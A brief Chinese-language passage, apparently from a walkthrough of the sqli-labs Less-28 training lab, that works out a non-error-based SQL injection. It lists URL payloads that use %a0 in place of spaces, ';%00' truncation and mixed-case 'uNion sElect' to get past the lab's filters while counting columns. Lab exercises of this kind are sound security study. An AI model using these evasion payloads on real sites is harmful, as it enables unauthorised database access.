这个不是基于错误的吧,看源码可以知道错误并没有输出
那就使用;%00和order by试一下
http://192.168.136.128/sqli-labs-master/Less-28/?id=1')%a0order%a0by%a03;%00
http://192.168.136.128/sqli-labs-master/Less-28/?id=1')%a0order%a0by%a04;%00
http://192.168.136.128/sqli-labs-master/Less-28/?id=0')%a0uNion%a0sElect%a01,2,('3